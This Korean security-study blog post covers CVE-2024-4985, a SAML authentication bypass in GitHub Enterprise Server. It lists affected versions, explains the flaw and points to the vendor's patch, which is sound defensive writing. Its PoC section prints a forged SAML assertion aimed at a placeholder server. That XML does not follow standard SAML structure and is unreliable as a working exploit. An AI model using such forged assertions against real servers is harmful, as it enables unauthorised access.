꼰머의 보안공부

1. GitHub Enterprise Server (GHES) [1]

- 기업을 위한 소프트웨어 개발, 확장 및 제공을 용이하게 하는 자체 호스팅 플랫폼

2. 취약점

- 취약한 버전의 GHES에서 발생하는 인증 우회 취약점 (CVSS: 10.0)

> 익스플로잇에 성공한 공격자는 사전 인증 없이 GHES 인스턴스에 액세스할 수 있음

영향받는버전
- GitHub Enterprise Server 3.9.15 이전 버전
- GitHub Enterprise Server 3.10.12 이전 버전
- GitHub Enterprise Server 3.11.10 이전 버전
- GitHub Enterprise Server 3.12.4 이전 버전

2.1 주요 내용

- SAML SSO 인증과 선택적 암호화 어설션 기능을 사용하는 GHES 서버는 해당 취약점의 영향 받음 (구체적인 내용 확인 불가)

> GHES가 암호화된 SAML 클레임을 처리하는 방식으로 발생하는 취약성을 이용

> 올바른 사용자 정보를 포함하는 가짜 SAML 클레임을 생성

> GHES가 가짜 SAML 클레임을 처리할 때 서명의 유효성을 올바르게 확인할 수 없어 공격자가 인스턴스에 엑세스 가능

※ 암호화된 어설션은 Default로 비활성화되어 있으며, 다음 2 가지 경우는 취약점의 영향을 받지않음
① 암호화된 어설션 없이 SAML SSO 인증을 사용하는 서버
② SAML SSO를 사용하지 않는 서버

2.1 PoC [5]

- hxxps://your-ghes-instance[.]com: 대상 GHES 서버 URL

<Assertion ID="1234567890" IssueInstant="2024-05-21T06:40:00Z" Subject="CN=John Doe,OU=Users,O=Acme Corporation,C=US">
  <Audience>https://your-ghes-instance.com</Audience>
  <SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:assertion:method:bearer">
    <SubjectConfirmationData>
      <NameID Type="urn:oasis:names:tc:SAML:2.0:nameid-type:persistent" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:basic">jdoe</NameID>
    </SubjectConfirmationData>
  </SubjectConfirmation>
  <AuthnStatement AuthnInstant="2024-05-21T06:40:00Z" AuthnContextClassRef="urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef:unspecified">
    <AuthnMethod>urn:oasis:names:tc:SAML:2.0:methodName:password</AuthnMethod>
  </AuthnStatement>
  <AttributeStatement>
    <Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.10">Acme Corporation</Attribute>
    <Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.4">jdoe@acme.com</Attribute>
  </AttributeStatement>
</Assertion>

3. 해결방안

- 벤더사 제공 업데이트 적용 [6]

4.참고

[1] https://docs.github.com/en/enterprise-server@3.10/admin/overview/about-github-enterprise-server
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-4985
[3] https://www.microsoft.com/ko-kr/security/business/security-101/what-is-security-assertion-markup-language-saml
[4] https://docs.github.com/en/enterprise-server@3.12/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions
[5] https://github.com/absholi7ly/Bypass-authentication-GitHub-Enterprise-Server
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71445&menuNo=205020
[7] https://docs.github.com/en/enterprise-server@3.9/admin/release-notes#3.9.15
[8] https://docs.github.com/en/enterprise-server@3.10/admin/release-notes#3.10.12
[9] https://docs.github.com/en/enterprise-server@3.11/admin/release-notes#3.11.10
[10] https://docs.github.com/en/enterprise-server@3.12/admin/release-notes#3.12.4
[11] https://www.hawk-eye.io/2024/05/cve-2024-4985-github-enterprise-server-authentication-bypass-vulnerability/
[12] https://thehackernews.com/2024/05/critical-github-enterprise-server-flaw.html
[13] https://www.boannews.com/media/view.asp?idx=129975&page=1&kind=1